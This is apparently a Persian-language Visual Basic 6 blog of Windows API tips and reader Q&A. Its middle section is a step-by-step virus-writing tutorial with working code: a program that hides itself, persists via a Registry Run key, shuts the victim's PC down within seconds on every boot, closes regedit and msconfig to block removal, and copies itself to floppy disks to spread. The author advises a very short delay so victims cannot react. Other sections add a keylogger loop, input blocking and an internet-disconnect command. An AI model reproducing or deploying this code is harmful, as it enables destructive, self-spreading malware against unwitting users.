از کار اندازی دکمه خروج فرم (Disable Close Button)

شاید بخواین حال کاربرتون رو بگیرین و دکمه  Exit رو Disable کنین و نذارین از برنامه خارج شه واسه این کار کد زیر رو تو یک Module کپی کنید .

Public Const SC_CLOSE = &HF060Public Const MF_BYCOMMAND = &H0

Public Declare Function GetSystemMenu Lib "user32" _(ByVal hwnd As Long, ByVal bRevert As Long) As Long

Public Declare Function DeleteMenu Lib "user32" _(ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long

Public Declare Function DrawMenuBar Lib "user32" (ByVal hwnd As Long) As Long

این کد رو هم در Form_load کپی کنید .

Dim hMenu As Long

hMenu = GetSystemMenu(Me.hwnd, 0&)If hMenu ThenCall DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND)DrawMenuBar (Me.hwnd)End If

همونطور که تو شکل زیر میبینید دکمه Exit غیر فعال شده .

باز شدن فرم به صورت انیمیشن

این تابع در هنگام بارگذاری فرم شما  برنامه شما را به صورت انیمیشن باز میکنه که خیلی جالبه.!!برای مثال در قسمت جنرال پنجره کدها کدهای زیر رو بنویسید:

Private Declare Function AnimateWindow Lib "User32.dll"(ByVal  hWnd as Long ,ByVal_dwTime As Long , Byval dwFlags as Long) as Boolean

Private Const  AW_HOR_POSITIVE = &H1Private Const  AW_HOR_NEGATIVE = &H2Private Const  AW_VER_POSITIVE = &H4Private Const  AW_VER_NEGATIVE = &H8Private Const  AW_CENTER = &H10Private Const  AW_HIDE = &H10000Private Const  AW_ACTIVATE = &H20000Private Const  AW_SLIDE = &H40000Private Const  AW_BLEND = &H80000

حالا در روال Form_Load کدهای زیر رو بنویسید.

Private Sub Form_Load

AnimateWindow  Me.hWnd , 1000 , AW_CENTERMe.Cls

End Sub

حالا یک دکمه فرمان(Command1) روی فرم خودتون قرار بدین سپس کدهای زیر رو بنویسید.

Private Sub Command1_Click

AnimateWindow  Me.hwnd  , 1000 , AW_CENTER  OR  AW_HIDE

End

End Sub

حالا برنامتون رو اجرا کنین و حالشو ببرین.

قطع کردن اینترنت

در این پست به شما یاد میدم که چه طور هر نوع اتصال انترنت رو قطع کنید.فقط کافیه یه timer با interval مناسب درست کنید و درونش کد زیر رو کپی کنید.

Call Shell("rundll32 iedkcs32.dll,CloseRASConnections")

جیغ کامپیوتر را درآورید

این کدها باعث می شود از کارت صدای کامپیوتر صدای beep بیاید.ابتدا این کدها را در قسمتgeneral  کپی کنید:

Private Declare Function GetTickCount& Lib "kernel32" ()Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

یک تایمر درست کنید و این کد ها را درونش بنویسید.

t = GetTickCount& 60000If t >= 10 ThenBeep 135, 3304

آموزش قدم به قدم ویروس نویسی با ویژوال بیسیک

ویروس نویسی

با توجه به اینکه عمده ویروس هایی که آموزش داده خواهند شد با ویژوال بیسیک طراحی شده اند به شما پیشنهاد می کنم اگه این برنامه را ندارید حتما تهیه کنید.

ویروس بلاستر(البته گفتنیه که این کدها مربوط به بلاستر واقعی نیست و فقط کارش شبیه اونه)

.فکر می کنم شما هم حتما با کدهای این ویروس اشنا هستید ولی امروز می خوام کد هایی را در کنار این ویروس یاد بدم سبب می شود این ویروس:.

1-پنهان باشد( نه در .....دیده بشه ونه فرم اون قابل دیدن باشه )

2-پس هر بار روشن شدن کامپیوتر بلافاصله دو باره آن را خاموش یا ریست کند

3-ویروس یاب ها ها قادر به شناسایی آن نبا شند

فکر می کنم ویژگی های گفته شده به تنهایی شمارا مجاب به امتحان ویروس می کنه

خوب بریم سراغ کدها:

ابتدا این کدها را در قسمت فرم کپی کنید(ویژوال بیسیک)

Private Sub Form_Load()

Shell "shutdown -s -t zz"

End Sub

نکات:

کد بالا مخصوص خاموش کردن رایانه ی قربانی است برای رستارت کردن باید بجای -sقرار بدین-r

می توانید بجایzzزمان لازم برای عمل کرد ویروس را قرار دهید(بر حسب ثانیه)

 برای پنهان کردنبرنامه باید عبارت زیر را درformوارد کنید.

App.TaskVisible = FalseMe.Hide

 خط اول برای پنهان کردن برنامه در..taskbarو خط دوم برای پنهان فرم کردن از دید کاربره

۳-به نظر من مهمترین نیاز یک ویروسه اجرای اتو ماتیک ویروسه که کدهای زیر این نیاز را برطرف می کنه

Set Reg = CreateObject("wscript.shell")Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"

حالاکد برنامه ی  شما باید مثل زیر باشد

Private Sub Form_Load()

Set Reg = CreateObject("wscript.shell")Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"

Shell "shutdown -s -t zz"

App.TaskVisible = FalseMe.Hide

End sub

این برنامه با فشردن کلید.f5اجرا می شود ولی من توصیه می کنم اول فایل اجرایی آن را ذخیره و بعد اجرا کنید

نکات نهایی:

1- برای اینکه فرصت عکس العمل را از قربانی بگیرید زمان عملکرد ویروس را کمتر از5 ثانیه در نظر بگیرید

2-در صورتی که زمان عملکرد را بسیار کم در نظر گرفته اید هر گزان را اجرا نکنید چون اولین قربانی ویروس خود خواهید بود

3- اگر بتوانید ویروس رادر جایی غیر از درایو های اصلی قربانی قرار دهید قربانی برای نجات مجبور به formattکردن کل هارد می شود چون عملا این ویروس استفاده از ویندوز را غیر ممکن می سازد و اگر در درایو های فرعی باشد این بلا را سر سیستم عامل های تعویض شده هم می آورد.

مخفی کردن و غیر قابل حذف کردن ویروس:

یکی از راه های غیر فعال کردن ویروس ها،regedit و msconfig می باشد.با این دو برنامه ای که در ویندوز وجود دارد،می توان کاری کرد که ویروس،در هر بار اجرای ویندوز،اجرا نشود.در run 

عبارت regedit یا msconfig را تایپ کنید تا این برنامه اجرا شوند.

برای غیرفعال کردن این دو برنامه کارهای زیر را انجام دهید:

ابتدا کدهای زیر را در قسمت general کپی کنید:

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

حالا این کدها را در یک timer کپی کنید:

Dim reghwnd As Long

Dim syshwnd As Long

 Const WM_CLOSE = &H10

syshwnd = FindWindow(vbNullString, "System Configuration Utility")

reghwnd = FindWindow("RegEdit_RegEdit", vbNullString)

If syshwnd <> 0 Then SendMessage syshwnd, WM_CLOSE, 0&, 0&

If reghwnd <> 0 Then SendMessage reghwnd, WM_CLOSE, 0&, 0&

منتشر شدن از راه فلاپی:

کی از راه های قدیمی ولی پرکاربرد ویروس ها برای منتشر شدن،فلاپی است.اگر ویروستان به کافی نت یا دیگر کامپیوتر های عمومی راه یافت و این قابلیت را داشت،می تواند به راحتی منتشر شود.کدهای زیر را در یک timer  کپی کنید:

On Error GoTo h

Set fso = CreateObject("Scripting.FileSystemObject")

mf = App.Path & "" & App.EXEName & ".exe"

If Dir("A:" & "virus.exe") = "" Then

FileCopy mf, "A:" & "virus.exe"

End If

h:

توضیح کدها:در خط اول می گوید که اگر برنامه error پیدا کرد،آن را به خط آخر منتقل کند.خط دوم هم که می دانید.در خط سوم،ویروس مسیر فایل خودش را می گیرد که برای کپی کردن خودش درون فلاپی نیاز است.در خط چهارم می گوید که اگر در فلاپی فایلی به نام virus.exe وجود ندارد،خودش را با نام virus.exe در فلاپی کپی کند.

مخفی شدن در شبکه

اگر تحت شبکه هستید و نمی خواهید دیگران شما را ببینند در کادر محاوره ای Run دستور زیر را وارد کنید:

net config server /hidden:yes

یک سری تابع API

 

API شماره 1 : API اول درمورد تغییر برچسب درایو هاست . یعنی شما می تونید با این تابع برچسب درایوهارو عوض کنید.

تعریف تابع توی یک ماژول.

Public Declare Function SetVolumeLabelA Lib "kernel32.dll" (ByVal lpRootName As String, ByVal lpVolumeName As String) As Long

lpRootName : مسیر درایو ریشه مثل "C:" میشه.

lpVolumeName : برچسب جدید درایو مثل "VisualBasic"

نحوه استفاده تو برنامه :شما اول یک متغییر از نوع Long البته با توجه به نوع خروجی تابع تعریف می کنید بعد به صورت زیر استفاده می کنید :

Dim A As Long

()Private Sub Commad1_Click

("A = SetVolumeLabelA("C:", "VisualBasic

End Sub

>> اگه تابع درست کار کند مقدار A عددی غیر صفر ، در غیر این صورت A=0 خواهد بود.

َAPI شماره 2 : API دوم در مورد محاسبه زمان سپری شده از روشن شدن سیستم شماست . البته بر حسب میلی ثانیه.

--> تعریف تابع توی یک ماژول :

Public Declare Function timeGetTime Lib "winmm.dll" () As Long

این تابع فقط یک خروجی دارد که زمان سپری شده سیستم است:

نحوه استفاده در برنامه : مانند تابع قبل یه منغییر از نوع Long تعریف میکنید و به صورت زیر استفاده می کنید :

Dim A as Long

()Private Sub Command1_Click

A = timeGetTime

Text1.Text = A

End Sub

>>اگر تابع درست کار کند A برابر با زمان سپری شده و در غیر این صورت A=0 خواهد بود.

َAPI شماره 3 : سومی درمورد کپی گرفتن از یک فایله .

تعریف تابع توی یک ماژول :

Public Declare Function CopyFileA Lib "kernel32.dll" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

lpExistingFileName : آدرس فایل مبدا مثل "C:VB6.txt"

lpNewFileName : آدرس فایل مقصد مثل "D:VB6.txt"

bFailIfExist : این متغیر مشخص می کند در صورت وجود فایل مقصد عملیات کپی ادامه یابد یا نه. اگر صفر باشد انجام میشود و اگر یک باشد انجام نمیشود .

نحوه استفاده در برنامه : مانند تابع قبل یه منغییر از نوع Long تعریف میکنید و به صورت زیر استفاده می کنید :

Dim A as Long

()Private Sub Command1_Click

(A=CopyFileA( "C:VB6.txt","D:VB6.txt",0

End Sub

>> اگه تابع درست کار کند مقدار A عددی غیر صفر ، در غیر این صورت A=0 خواهد بود.البته میتونید نام فایل رو هم توی مقصد عوض کنید.

َAPI شماره 4 : چهارمی درمورد انتقال یک فایله . این تابع برای انتقال یک فایل یا پوشه از محلی به محل دیگر مورد استفاده قرار می گیرد ( توانایی تغییر نام فایل ها و پوشه ها را نیز دارد ).

تعریف تابع توی یک ماژول :

Private Declare Function MoveFile Lib "kernel32.dll" (ByVal lpExistingName As String, ByVal lpNewFileName As String) As Long

lpExistingName : مسیر فایل مبدا

lpNewFileName : مسیر فایل مقصد( اگر نام فایل متفاوت باشد درحین انتقال نام فایل نیز تغییر خواهدکرد )

نحوه استفاده در برنامه : مانند تابع قبل یه منغییر از نوع Long تعریف میکنید و به صورت زیر استفاده می کنید :

Dim A as Long

()Private Sub Command1_Click

("A=MoveFile( "C:VB6.txt","D:VB6.txt

End Sub

>> اگه تابع درست کار کند مقدار A عددی غیر صفر ، در غیر این صورت A=0 خواهد بود.

َAPI شماره 5 : برای باز و بسته کردن CDROM . این تابع از دستور متنی استفاده میکنه.با این تابع کارهای زیادی میشه کرد.

باز هم مثل همیشه کد تابع رو توی یه ماژول تعریف کنید :

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

برای باز شدن CDROM این کد رو بنویسید:

(&)Private Sub OpenCD_Click

&mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0

End Sub

برای بسته شدن CDROM هم کد زیر رو بنویسید :

()Private Sub CloseCD_Click

&mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0

End Sub

همینطور که می بینید این تابع از دستورات ساده چند رسانه ای برای باز کردن سی دی رام استفاده می کنه.

َAPI شماره 6 : برای مخفی کردن نوار TaskBar ویندوز. حال میده برا سر کار گذاشتن .

تعریف تابع و ثابتهای برنامه توی یه ماژول :

Public Hwnd1 As Long

Public Const SWP_HIDEWINDOW = &H80

Public Const SWP_SHOWWINDOW = &H40

Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

همینطور که می بینید باید با تابع FindWindow اول هندل نوار TaskBar رو پیدا کنیم بعدش با تابع SetWindowPos کار اصلی رو انجام بدیم.

کد مخفی کردن نوار توی یه Button :

()Private Sub HideTask_Click

("" ,"Hwnd1 = FindWindow("Shell_Traywnd

(Call SetWindowPos(Hwnd1, 0, 0, 0, 0, 0, SWP_HIDEWINDOW

End Sub

کد نمایش نوار هم توی یه Button دیگه:

()Private Sub ShowTask_Click

(Call SetWindowPos(Hwnd1, 0, 0, 0, 0, 0, SWP_SHOWWINDOW

End Sub

َAPI شماره 7 : این API برای مخفی کردن دکمه Start ویندوز.این یکی از تابع قبلی باحالتره.

مثل همیشه تعریف تابع توی یه ماژول.تو این برنامه سه تا تابع لازمه:

Public OP As Long

Public OH As Long

Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Public Const SW_HIDE = 0

Public Const SW_SHOW = 5

از تابع FindWindow برای پیدا کردن هندل TaskBar و از تابع FindWindowEx برای پیدا کردن هندل دکمه Start که در واقع فرم فرزند (ChildForm) TaskBar ویندوزه استفاده می کنیم.از تابع ShowWindow هم برای کار اصلی استفاده می کنیم.

حالا برای مخفی کردن دکمه Start کد زیر رو مینویسیم:

()Private Sub HideStart_Click

("" ,"OP& = FindWindow("Shell_TrayWnd

(OH& = FindWindowEx(OP&, 0, "Button", vbNullString

ShowWindow OH&, SW_HIDE

End Sub

این کد هم برای نمایش دوباره دکمه Start :

()Private Sub ShowStart_Click

("" ,"OP& = FindWindow("Shell_TrayWnd

(OH& = FindWindowEx(OP&, 0, "Button", vbNullString

ShowWindow OH&, SW_SHOW

End Sub

َAPI شماره 8 : از این تابع برای پیدا کردن مسیر پوشه ویندوز استفاده میشه که خیلی هم به درد می خوره.

کد تابع توی یه ماژول :

Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

lpBuffer : مقدار این بافر توسط تابع مقدار دهی می شود و مقدار بر گشتی آن مسیر نصب ویندوز خواهد بود.

nSize : طول بافر lpBuffer است.

کد اجرایی هم توی Form_Load برنامه :

()Private Sub Form_Load

Dim WINPath As String

Dim StrBuffer As String

((StrBuffer = String(255, Chr$(0

(((WINPath = Left$(StrBuffer, GetWindowsDirectory(StrBuffer, Len(StrBuffer

MsgBox "Windows Folder : " & WINPath

End Sub

API شماره 9 : این تابع لیست همه درایو های سیستم رو برای شما تهیه میکنه.

کد تابع توی یه ماژول :

Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

توی این برنامه هم نقش اصلی رو بافر و طول بافر هر درایو که مشخص کننده اون درایوه بازی میکنه.

کد اصلی برنامه هم توی Form_Load :

()Private Sub Form_Load

Dim StrBuffer As String

Me.AutoRedraw = True

((StrBuffer = String(255, Chr$(0

(ret& = GetLogicalDriveStrings(255, StrBuffer

For I = 1 To 100

If Left$(StrBuffer, InStr(1, StrBuffer, Chr$(0))) = Chr$(0) Then Exit For

(Me.Print Left$(StrBuffer, InStr(1, StrBuffer, Chr$(0)) - 1

(((StrBuffer = Right$(StrBuffer, Len(StrBuffer) - InStr(1, StrBuffer, Chr$(0

Next I

End Sub

API شماره 10 : از این تابع برای جستجوی یک فایل استفاده می شه . این تابع برای پیدا کردن فایل مورد نظر همه قسمت های درایو رو جستجو میکنه و اگه فایل پیدا شد مسیر دقیق اون رو برای شما نمایش میده.

تعریف تابع توی ماژول :

Public Declare Function SearchTreeForFile Lib "imagehlp" (ByVal RootPath As String, ByVal InputPathName As String, ByVal OutputPathBuffer As String) As Long

Public Const MAX_PATH = 260

RootPath : مسیر محلی که باید جستجو بشه. مثل " C: "

InputPathName : اسم فایل با پسوند. مثل " Ali.TXT "

OutputPathBuffer : بافر مسیر خروجی.

ثابت MAX_PATH هم که حداکثر بافر مسیر مورد جستجو رو مشخص میکنه.

کد اصلی باز هم توی Form_Load برنامه :

()Private Sub Form_Load

Dim TempStr As String

Dim Result As Long

(TempStr = String(MAX_PATH, 0

(Result = SearchTreeForFile("C:", "Ali.txt", TempStr

If Result <> 0 Then

(MsgBox "Located file at " + Left$(TempStr, InStr(1, TempStr, Chr$(0)) - 1

Else

"!MsgBox "File not found

End If

End Sub

از متغییر TempStr برای مقدار دهی به بافر خروجی استفاده شده.

خروجی تابع عددی خواهد شد که در متغییر Result قرارخواهد گرفت.اگر Result=0 باشد بیانگر این است که فایل مورد نظر یافت نشده و اگر Result عددی غیر صفر باشد فایل مورد نظر پیدا شده است.

API شماره 11 : کار این تابع عوض کردن زبان صفحه کلید از انگلیسی به فارسی و بر عکسه.

تابع توی یه ماژول :

Public Declare Function LoadKeyboardLayout Lib "user32" Alias "LoadKeyboardLayoutA" (ByVal pwszKLID As String, ByVal flags As Long) As Long

pwszKLID : این متغییر رشته 9 رقمی است که کد زبان رو مشخص میکنه.

flags : مقدار این متغییر برابر (1) خواهد بود.

کد تبدیل به فارسی توی دکمه :

()Private Sub Command1_Click

(StrLocId = LoadKeyboardLayout("00000429", 1

End Sub

کد بازگشت به انگلیسی توی دکمه :

()Private Sub Command2_Click

(StrLocId = LoadKeyboardLayout(vbNull, 1

End Sub

API شماره 12 : این تابع کلید های زده شده موقع کار با ویندوز رو بر میگردونه حتی اگه فکوس رو فرم برنامه نباشه.

برای این کار از تابع زیر استفاده می کنیم :

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

برای این که برنامه بتونه در هر زمان کلید فشرده شده رو تشخیص بده باید یه تایمر (Timer1) رو فرممون قرار بدیم.

کد برنامه :

()Private Sub Timer1_Timer

For i = 1 To 255

results = 0

(results = GetAsyncKeyState(i

If results <> 0 Then

(Label1.Caption = Label1.Caption & (Chr(i

End If

Next I

End Sub

شما باید Interval تایمر رو برابر 100 قرار بدید و یه لیبل هم رو فرم بزارید وخاصیت AutoSize اون رو برابر با True قرار بدید.

API شماره 13 : این تابع نوع درایو رو تشخیص میده . بیشتر برای تشخیص درایو CD استفاده میشه.

تابع مورد استفاده در ماژول :

Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

nDrive : اسم درایو مثل ":c"

کد برنامه توی Form_Load :

()Private Sub Form_Load

Me.AutoRedraw = True

(":Select Case GetDriveType("C

Case Is = 2

"Me.Print "Removable

Case Is = 3

"Me.Print "Drive Fixed

Case Is = 4

"Me.Print "Remote

Case Is = 5

"Me.Print "Cd-Rom

Case Is = 6

"Me.Print "Ram disk

Case Else

"Me.Print "Unrecognized

End Select

End Sub

نکته : درایو سی دی رام و رایتر هر دو CD-Rom شناخته می شوند.

API شماره 14 : کار این تابع قفل کردن ماوس و صفحه کلیده .

تابع مور استفاده :

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

fBlock : اگر مقدار این تابع True باشد ماوس و صفحه کلید قفل خواهند شد و اگر False باشد آزاد خواهند گشت.

کد برنامه در Form_load برنامه :

()Private Sub Form_load

BlockInput True

End Sub

تذکر مهم : شما باید مواظب باشد تا کار دست خودتون ندید.برای همین یه تایمر به برنامه اضافه کنید و Interval اون رو برابر 5000 قرار بدید و کد زیر رو توش بنویسید تا بعد از 5 ثانیه ماوس و صفحه کلیدتون آزاد بشه.

()Private Sub Timer1_Timer

BlockInput False

End Sub

API شماره 15 : کار این تابع ساخت دایرکتوری های تودرتو است که کارش حرف نداره.

کد تابع :

Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp.dll" (ByVal lpPath As String) As Long

lpPath : مسیر مور نظر.

کد برنامه نمونه توی Form_load :

()Private Sub Form_Load

"MakeSureDirectoryPathExists "C:VB6IsVeryGood

End Sub

API شماره 16 : این تابع دایرکتوری مورد نظر را حذف می کند.البته اگر خالی باشد.

کد تابع :

Private Declare Function RemoveDirectory Lib "kernel32" Alias "RemoveDirectoryA" (ByVal lpPathName As String) As Long

کد برنامه :

()Private Sub Form_Load

"RemoveDirectory "C:VB6

End Sub

نکته : برای حذف شدن پوشه VB6 هیچگونه پوشه یا فایل نباید داخل آن باشد.

API شماره 17 : کار این تابع باز کردن یک مسیر مشخص است.

تعریف تابع :

Public Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long

کد نمونه :

()Private Sub Form_Load

WinExec "Explorer.exe C:Windows", 10

End Sub

API شماره 18 : کار این تابع نمایش دیالوگ ShutDown کردن ویندوزه.

تعریف تابع :

Pubilc Declare Function SHShutDownDialog Lib "shell32" Alias "#60" (ByVal YourGuess As Long) As Long

کد نمونه :

()Private Sub Form_Load

SHShutDownDialog 0

End Sub

API شماره 19 : کار این تابع نمایش دیالوگ Run ویندوزه.

تعریف تابع:

Public Declare Function SHRunDialog Lib "shell32" Alias "#61" (ByVal hOwner As Long, ByVal Unknown1 As Long, ByVal Unknown2 As Long, ByVal szTitle As String, ByVal szPrompt As String, ByVal uFlags As Long) As Long

کد نمونه :

()Private Sub Form_Load

Dim STitle As String

Dim SPrompt As String

"...STitle = "Start a program

"...SPrompt = "Type the name of a program

SHRunDialog Me.hWnd, 0, 0, StrConv(STitle, vbUnicode), StrConv(SPrompt, vbUnicode), 0

End Sub

API شماره20: با این تابع می تونیم درایوها رو فرمت بکنیم.(البته نمایش دیالوگ فرمت).

تعریف تابع و ثابت ها :

Const SHFD_CAPACITY_DEFAULT = 0 ' Default drive capacity

Const SHFD_CAPACITY_360 = 3 ' 360KB, applies to 5.25" drives only

Const SHFD_CAPACITY_720 = 5 ' 720KB, applies to 3.5" drives only

Const SHFD_FORMAT_QUICK = 0 ' Quick format

Const SHFD_FORMAT_FULL = 1 ' Full format

Const SHFD_FORMAT_SYSONLY = 2 ' Copies system files only (Win95)

Private Declare Function SHFormatDrive Lib "shell32" (ByVal hwndOwner As Long, ByVal iDrive As Long, ByVal iCapacity As Long, ByVal iFormatType As Long) As Long

کد نمونه :

()Private Sub Form_Load

SHFormatDrive Me.hWnd, 0, SHFD_CAPACITY_DEFAULT, SHFD_FORMAT_QUICK

End Sub

نکته : عدد 0 و عدد 1 برای فلاپی دیسک و عددهای بالاتر ( به تعداد درایو های شما بستگی دارد ) برای بقیه درایوهاست و اگر هر کدام را وارد کنید دیالوگ مر بوط به فرمت کردن آن درایو نمایش داده خواهد شد.(مثال: عدد 3 دیالوگ درایو C را نمایش خواهد داد ) .

API شماره21: کار این تابع بررسی اتصال شما به شبکه یا اینترنت است.

تعریف تابع :

Const NETWORK_ALIVE_AOL = &H4

Const NETWORK_ALIVE_LAN = &H1

Const NETWORK_ALIVE_WAN = &H2

Private Declare Function IsNetworkAlive Lib "SENSAPI.DLL" (ByRef lpdwFlags As Long) As Long

کد نمونه :

()Private Sub Form_Load

Dim CRes As Long

If IsNetworkAlive(CResult) = 0 Then

"!MsgBox " Not Connected to a Network

Else

MsgBox "Connected to a" & IIf(CRes = NETWORK_ALIVE_AOL, "AOL", IIf(CRes = "NETWORK_ALIVE_LAN, "LAN", "WAN")) & "Network

End If

End Sub

نکته : اگر شما به شبکه اینترنت متصل باشید خروجی شما اتصال شبکه ای WAN خواهد بود .

نکته : این تابع ها فقط در ویندوز اکس پی آزمایش شده اند.

+ نوشته شده در  جمعه بیست و پنجم آبان 1386ساعت 12:23  توسط کامل  |  نظر بدهید

---

استخراج مشخصات سخت افزاری یک سیستم در وی بی

 

در این بخش یک کنترل Ocx معرفی می شود که بوسیله آن می توانید مشخصات سخت افزاری سیستم خود را استحراج کنید .
این کنترل را که Hardware Info نام دارد می توانید از اینجا دانلود نمایید .

پس از باز نمودن فایل zip دانلود شده مشاهده خواهید کرد که دو فایل dll و یک فایل ocx در آن وجود دارد . همچنین یگ فایل راهنما نیز بهمراه آنها وجود دارد که طریقه استفاده از کنترل را نشان می دهد . برای استفاده از کنترل فوق وارد محیط ویژال بیسیک شده و سپس وارد منوی Components شوید .  در آنجا روی دکمه Browse کلیک کنید . وارد پوشه ای که فایل zip را در آنجا باز کرده اید شده و فایل HWInfo.ocx را انتخاب کنید تا این کنترل به لیست کنترلهای نوار ابزار شما اضافه شود . حال می توانید از کنترل را روی فرم خود قرار دهید و از امکانات آن استفاده کنید .
این کنترل دارای خصوصیات زیر است :
BaseBoardManufacturer : مشخصات سازنده مادربورد
BaseBoardProduct : نوع چیپ ست مادربورد
BiosVendor : سازنده بایوس
BiosReleaseDate : تاریخ انتشار بایوس
BiosVersion : ورژن بایوس
BiosROMSize : سایز حافظه رام بایوس
SocketDesignation : نوع سوکت پردازنده
ProcessorType : نوع پردازنده
ProcessorManufactor : سازنده پردازنده
ProcessorID : شماره ID پردازنده
ProcessorSerialNumber : شماره سریال پردازنده
با استفاده از این کنترل همچنین می توان اطلاعات هر چهار هارد دیسک IDE سیستم را استخراج نمود برای مثال اگر بخواهید اطلاعات Primary Hard ( شماره یک ) را بدست آورید از خصوصیات زیر استفاده کنید :
HardDisk1ModelNumber : شماره مدل هارددیسک
HardDisk1SerialNumber : شماره سریال هارد دیسک ( شماره سریال کارخانه )
خصوصیات دیگری نیز در این کنترل وجود دارد که برای اطلاعات بیشتر به راهنمای آن مراجعه کنید .

---

پاسخ به سوالات

1  – چگونه می توان شماره سریالی را که کارخانه روی هارد قرار می دهد را بدست آورد ( یعنی شماره سریالی که با پارتیشن بندی مجدد هارد تغییز نکند و یک مشخصه منحصر بفرد برای هارد باشد ) ؟
پاسخ : با دریافت این کد یک OCX خواهید داشت که با استفاده از آن می توانید شماره سریال هارد را که کارخانه سازنده روی آن قرار داده بدست آورید .
همچنین در این آدرس نیز یک برنامه دیگر بهمراه سورس کد زبان C برای اینکار وجود دارد .

2– نحوه بدست آوردن سریال CDROM را توضیح دهید .
پاسخ : برای این منظور بایستی از تابع GetVolumeInformation استفاده کنید که قبلاً در بخش پرسش و پاسخها در مورد این تابع توضیح داده ام . برای اطلاعات بیشتر به این آدرس نیز مراجعه کنید .

3 – چگونه می توان در وی بی تاریخ را بصورت شمسی از کاربر گرفت ؟
پاسخ : منظور شما از گرفتن تاریخ بصورت شمسی چیست ؟ شما می توانید یک texbox بگذارید تا کاربر تاریخ را بصورت یک String در آن وارد کند . اما اگر منظورتان تبدیل تاریخ میلادی به شمسی و یا تبدیل تاریخ شمسی به میلادی است ( این مورد را یکی دیگر از دوستان نیز سوال کرده بودند )  است به اینجا مراجعه کنید .

4 - چگونه میتوان فرمی را کوچک کرد یعنی به حداقل رسانید و به جای اینکه به منوی Taskbar برود آیکون آن در کنار ساعت ظاهر شود و با کلیک رو آیکون آن منوی مورد نظر باز شود ؟
پاسخ : قبلاً در مورد قرار دادن آیکون برنامه در کنار ساعت ویندوز نوشته ام . به آرشیو موضوعی مراجعه کنید .

5 – چگونه می توان از طریق وی بی روی یک فولدر یا فایل اجرایی قفل گذاشت که آن فولدر فقط با پسورد باز شود یا اینکه قابل کپی نباشد ؟
پاسخ : این کار امکان پذیر است چون برنامه هایی در این زمینه وجود دارد اما نیاز به دانش بسیار قویی در مورد Api Programming دارد . به سوال شماره ۹ مراجعه کنید .

6 – چگونه می توان برنامه ای نوشت که محتویات فایل index.dat را که حاول آدرس سایتهای رفته شده است نشان دهد ؟
پاسخ : ابتدا بایستی ساختار و فرمت این فایل را بدانید . در این صورت با استفاده از ابزارهای کار با فایل در وی بی می توانید محتوای آنرا بخوانید .

7 – چگونه می توان صدا را بعنوان ورودی گرفت و آنرا با یک کلمه مقایسه کرد ؟
پاسخ : اگر منظورتان تشخصی صحبت یا Speech Recognition است بایستی از موتور تشخیص صدای مایکروسافت که قابل دانلود از این آدرس می باشد  استفاده نمایید . پس از نصب از موتور دو بخش به component های وی بی شما اضافه می شود : Microsoft Direct Speech Recognition و Microsft Direct Text-to-Speech . برای اطلاعات بیشتر در مورد این دو component به این آدرس مراجعه کنید .
در این آدرس نیز اطلاعات مفیدی در مورد تشخصی صحبت وجود دارد .

8 – چگونه می توان یکسری اطلاعات فارسی را از طریق صفحات ASP در پایگاه داده SQL Server ذخیره کرد ؟ آیا بایستی Collation دیتا بیس را تغییر دهم ؟
پاسخ : اولاً codepage صفحات Html خود را windows-1252 قرار دهید . ثانیاً codepage شی Session را نیز 1252 بگذارید . در اینصورت اطلاعات بصورت یونیکد در جدوال دیتا بیس ذخیره می شوند . همچنین با قرار دادن Collation بصورت arabic این کار امکان پذیر است .

9 – آیا کتاب فارسیی در مورد برنامه نویسی API وجود دارد ؟
پاسخ : اخیراً دو کتاب فارسی در این زمینه چاپ شده است :
کتاب اول توسط انتشارات نص چاپ شده که به نظر من کتاب مفیدی است . کتاب دوم برنامه نویسی Api  نیز توسط انتشارات ناقوس چاپ شده است .

---

پاسخ به سولات قسمت ۲

1 -  چگونه می توان فایلهای انیمیشن Gif را در برنامه های وی بی قرار داد ؟
پاسخ : می توانید از کنترلهای Ocx و یا ActiveX هایی که برای اینکار طراحی شده اند استفاده کنید .
در این لینک می توانید یک ActiveX پخش کننده فایلهای gif را بهمراه سورس کامل آن به VB6 دریافت نمایید .

این لینک نیز شامل چند Ocx و ActiveX برای پخش فایلهای انیمیشن Gif است .

